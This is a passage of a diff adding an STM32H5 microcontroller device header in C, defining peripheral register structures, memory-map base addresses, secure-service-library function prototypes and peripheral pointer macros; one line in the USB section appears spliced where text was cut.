/*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x04 */ + __IO uint32_t HSICFGR; /*!< RCC HSI Clock Calibration Register, Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register, Address offset: 0x14 */ + __IO uint32_t CSICFGR; /*!< RCC CSI Clock Calibration Register, Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< RCC PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< RCC PLL2 Configuration Register Address offset: 0x2C */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< RCC PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< RCC PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< RCC PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< RCC PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + uint32_t RESERVED4[2]; /*!< Reserved, Address offset: 0x44 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< RCC Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< RCC Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< RCC Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< RCC AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR; /*!< RCC AHB2 Peripherals Reset Register Address offset: 0x64 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0x68 */ + uint32_t RESERVED8; /*!< Reserved, Address offset: 0x6C */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1LRSTR; /*!< RCC APB1 Peripherals reset Low Word register Address offset: 0x74 */ + __IO uint32_t APB1HRSTR; /*!< RCC APB1 Peripherals reset High Word register Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< RCC APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< RCC APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED10; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< RCC AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR; /*!< RCC AHB2 Peripherals Clock Enable Register Address offset: 0x8C */ + uint32_t RESERVED11; /*!< Reserved Address offset: 0x90 */ + uint32_t RESERVED12; /*!< Reserved, Address offset: 0x94 */ + uint32_t RESERVED13; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1LENR; /*!< RCC APB1 Peripherals clock Enable Low Word register Address offset: 0x9C */ + __IO uint32_t APB1HENR; /*!< RCC APB1 Peripherals clock Enable High Word register Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< RCC APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< RCC APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED14; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1LPENR; /*!< RCC AHB1 Peripheral sleep clock Register Address offset: 0xB0 */ + __IO uint32_t AHB2LPENR; /*!< RCC AHB2 Peripheral sleep clock Register Address offset: 0xB4 */ + uint32_t RESERVED15; /*!< Reserved Address offset: 0xB8 */ + uint32_t RESERVED16; /*!< Reserved, Address offset: 0xBC */ + uint32_t RESERVED17; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1LLPENR; /*!< RCC APB1 Peripherals sleep clock Low Word Register Address offset: 0xC4 */ + __IO uint32_t APB1HLPENR; /*!< RCC APB1 Peripherals sleep clock High Word Register Address offset: 0xC8 */ + __IO uint32_t APB2LPENR; /*!< RCC APB2 Peripherals sleep clock Register Address offset: 0xCC */ + __IO uint32_t APB3LPENR; /*!< RCC APB3 Peripherals Clock Low Power Enable Register Address offset: 0xD0 */ + uint32_t RESERVED18; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t CCIPR1; /*!< RCC IPs Clocks Configuration Register 1 Address offset: 0xD8 */ + __IO uint32_t CCIPR2; /*!< RCC IPs Clocks Configuration Register 2 Address offset: 0xDC */ + __IO uint32_t CCIPR3; /*!< RCC IPs Clocks Configuration Register 3 Address offset: 0xE0 */ + __IO uint32_t CCIPR4; /*!< RCC IPs Clocks Configuration Register 4 Address offset: 0xE4 */ + __IO uint32_t CCIPR5; /*!< RCC IPs Clocks Configuration Register 5 Address offset: 0xE8 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< RCC VSW Backup Domain & V33 Domain Control Register Address offset: 0xF0 */ + __IO uint32_t RSR; /*!< RCC Reset status Register Address offset: 0xF4 */ + uint32_t RESERVED20[6]; /*!< Reserved Address offset: 0xF8 */ + uint32_t RESERVED21; /*!< Reserved, Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC Privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 2U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED1; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + __IO uint32_t OR; /*!< RTC option register, Address offset: 0x60 */ + uint32_t RESERVED3[3];/*!< Reserved, Address offset: 0x64 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP control register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + uint32_t RESERVED1; /*!< Reserved, Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNT1R; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED2[3];/*!< Reserved, Address offset: 0x44 -- 0x4C */ + __IO uint32_t OR; /*!< TAMP option register, Address offset: 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED3[42];/*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ +} USART_TypeDef; + +/** + * @brief System configuration, Boot and Security + */ +typedef struct +{ + uint32_t RESERVED1[4]; /*!< RESERVED1, Address offset: 0x00 - 0x0C */ + __IO uint32_t HDPLCR; /*!< SBS HDPL Control Register, Address offset: 0x10 */ + __IO uint32_t HDPLSR; /*!< SBS HDPL Status Register, Address offset: 0x14 */ + __IO uint32_t RESERVED2[2]; /*!< RESERVED2, Address offset: 0x18 - 0x1C */ + __IO uint32_t DBGCR; /*!< SBS Debug Control Register, Address offset: 0x20 */ + __IO uint32_t DBGLOCKR; /*!< SBS Debug Lock Register, Address offset: 0x24 */ + uint32_t RESERVED3[3]; /*!< RESERVED3, Address offset: 0x28 - 0x30 */ + uint32_t RESERVED4[36]; /*!< RESERVED4, Address offset: 0x34 - 0xC0 */ + uint32_t RESERVED6[15]; /*!< RESERVED6, Address offset: 0xC4 - 0xFC */ + __IO uint32_t PMCR; /*!< SBS Product Mode & Config Register, Address offset: 0x100 */ + __IO uint32_t FPUIMR; /*!< SBS FPU Interrupt Mask Register, Address offset: 0x104 */ + __IO uint32_t MESR; /*!< SBS Memory Erase Status Register, Address offset: 0x108 */ + uint32_t RESERVED7; /*!< RESERVED7, Address offset: 0x10C */ + __IO uint32_t CCCSR; /*!< SBS Compensation Cell Control & Status Register, Address offset: 0x110 */ + __IO uint32_t CCVALR; /*!< SBS Compensation Cell Value Register, Address offset: 0x114 */ + __IO uint32_t CCSWCR; /*!< SBS Compensation Cell for I/Os sw code Register, Address offset: 0x118 */ + __IO uint32_t RESERVED8; /*!< RESERVED8, Address offset: 0x11C */ + __IO uint32_t CFGR2; /*!< SBS Class B Register, Address offset: 0x120 */ + uint32_t RESERVED9[8]; /*!< RESERVED9, Address offset: 0x124 - 0x140 */ + __IO uint32_t CNSLCKR; /*!< SBS CPU Non-secure Lock Register, Address offset: 0x144 */ + uint32_t RESERVED10; /*!< RESERVED10, Address offset: 0x148 */ + __IO uint32_t ECCNMIR; /*!< SBS FLITF ECC NMI MASK Register, Address offset: 0x14C */ +} SBS_TypeDef; + + +/** + * @brief Universal Serial Bus Full Speed Dual Role Device + */ +typedef struct +{ + __IO uint32_t CHEP0R; /*!< USB Channel/Endpoint 0 register, Address offset: 0x00 */ + __IO uint32_t CHEP1R; /*!< USB Channel/Endpoint 1 register, Address offset: 0x04 */ + __IO uint32_t CHEP2R; /*!< USB Channel/Endpoint 2 register, Address offset: 0x08 */ + __IO uint32_t CHEP3R; /*!< USB Channel/Endpoint 3 register, Address offset: 0x0C */ + __IO uint32_t CHEP4R; /*!< USB Channel/Endpoint 4 register, Address offset: 0x10 */ + __IO uint32_t CHEP5R; /*!< USB Channel/Endpoint 5 register, Address offset: 0x14 */ + __IO uint32_t CHEP6R; /*!< USB Channel/Endpoint 6 register, Address offset: 0x18 */ + __IO uint32_t CHEP7R; /*!< USB Channel/Endpoint 7 register, Address offset: 0x1C */ + __IO uint32_t RESERVED0[8]; /*!< Reserved, */ + __IO uint32_t CNTR; /*!< Control register, Address offset: 0x40 */ + __IO uint32_t ISTR; /*!< Interrupt status register, Address offset: 0x44 */ + __IO uint32_t FNR; /*!< Frame number register, Address offset: 0x48 */ + __IO uint32_t DADDR; /*!< Device address register, Address offset: 0x4C */ + __IO uint32_t RESERVED1; /*!< Reserved */ + __IO uint32_t LPMCSR; /*!< LPM Control and Status register, Address offset: 0x54 */ + __IO uint32_t BCDR; /*!< Battery Charging detector register, Address offset: 0x58 */ +} USB_DRD_TypeDef; + +/** + * @brief Universal Serial Bus PacketMemoryArea Buffer Descriptor Table + */ +typedef struct +{ + __IO uint32_t TXBD; /*!= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ + +#define SRAM1_SIZE (0x4000UL) /*!< SRAM1=16k */ +#define SRAM2_SIZE (0x4000UL) /*!< SRAM2=16k */ +#define BKPSRAM_SIZE (0x0800UL) /*!< BKPSRAM=2k */ + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (up to 128 KB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (16 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x20004000UL) /*!< SRAM2 (16 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x04000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x04020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define OPAMP1_BASE_NS (APB1PERIPH_BASE_NS + 0x3400UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define SPI3_BASE_NS (APB1PERIPH_BASE_NS + 0x3C00UL) +#define COMP1_BASE_NS (APB1PERIPH_BASE_NS + 0x4000UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define I3C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5C00UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define DTS_BASE_NS (APB1PERIPH_BASE_NS + 0x8C00UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define USB_DRD_BASE_NS (APB2PERIPH_BASE_NS + 0x6000UL) +#define USB_DRD_PMAADDR_NS (APB2PERIPH_BASE_NS + 0x6400UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS AHB1PERIPH_BASE_NS +#define GPDMA2_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA2_Channel0_BASE_NS (GPDMA2_BASE_NS + 0x0050UL) +#define GPDMA2_Channel1_BASE_NS (GPDMA2_BASE_NS + 0x00D0UL) +#define GPDMA2_Channel2_BASE_NS (GPDMA2_BASE_NS + 0x0150UL) +#define GPDMA2_Channel3_BASE_NS (GPDMA2_BASE_NS + 0x01D0UL) +#define GPDMA2_Channel4_BASE_NS (GPDMA2_BASE_NS + 0x0250UL) +#define GPDMA2_Channel5_BASE_NS (GPDMA2_BASE_NS + 0x02D0UL) +#define GPDMA2_Channel6_BASE_NS (GPDMA2_BASE_NS + 0x0350UL) +#define GPDMA2_Channel7_BASE_NS (GPDMA2_BASE_NS + 0x03D0UL) + +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DAC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08400UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) + +/*!< APB3 Non secure peripherals */ +#define SBS_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I3C2_BASE_NS (APB3PERIPH_BASE_NS + 0x3000UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB3 Non secure peripherals */ +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define DEBUG_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0x44024000UL) +#define PACKAGE_BASE (0x08FFF80EUL) /*!< Package data register base address */ +#define UID_BASE (0x08FFF800UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x08FFF80CUL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x08FFF000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x800U) /*!< 2048 bytes OTP (one-time programmable) */ + +/* Flash system Area */ +#define FLASH_SYSTEM_BASE_NS (0x0BF80000UL) /*!< FLASH System non-secure base address */ +#define FLASH_SYSTEM_SIZE (0x8000U) /*!< 32 Kbytes system Flash */ + + +/*!< Non Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define NSSLIB_SYS_FLASH_NS_PFUNC_START (0xBF8FE6CUL) +#define NSSLIB_SYS_FLASH_NS_PFUNC_END (0xBF8FE74UL) + +/************ RSSLIB function return constants ********************************/ +#define NSSLIB_ERROR (0xF5F5F5F5UL) +#define NSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define NSSLIB_PFUNC_BASE (0xBF8FE6CUL) +#define NSSLIB_PFUNC ((NSSLIB_pFunc_TypeDef *)NSSLIB_PFUNC_BASE) + +/** + * @brief Prototype of RSSLIB Jump to HDP level2 Function + * @detail This function increments HDP level up to HDP level 2 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval NSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*NSSLIB_S_JumpHDPlvl2_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval NSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*NSSLIB_S_JumpHDPlvl3_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM NSSLIB_S_JumpHDPlvl2_TypeDef JumpHDPLvl2; + __IM NSSLIB_S_JumpHDPlvl3_TypeDef JumpHDPLvl3; +} NSSLIB_pFunc_TypeDef; + + +/** @} */ /* End of group STM32H5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *)TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *)TIM3_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *)TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *)TIM7_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *)WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *)IWDG_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *)OPAMP1_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *)SPI2_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *)SPI3_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *)COMP1_BASE_NS) +#define USART2_NS ((USART_TypeDef *)USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *)USART3_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *)I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *)I2C2_BASE_NS) +#define I3C1_NS ((I3C_TypeDef *)I3C1_BASE_NS) +#define CRS_NS ((CRS_TypeDef *)CRS_BASE_NS) +#define DTS_NS ((DTS_TypeDef *)DTS_BASE_NS) 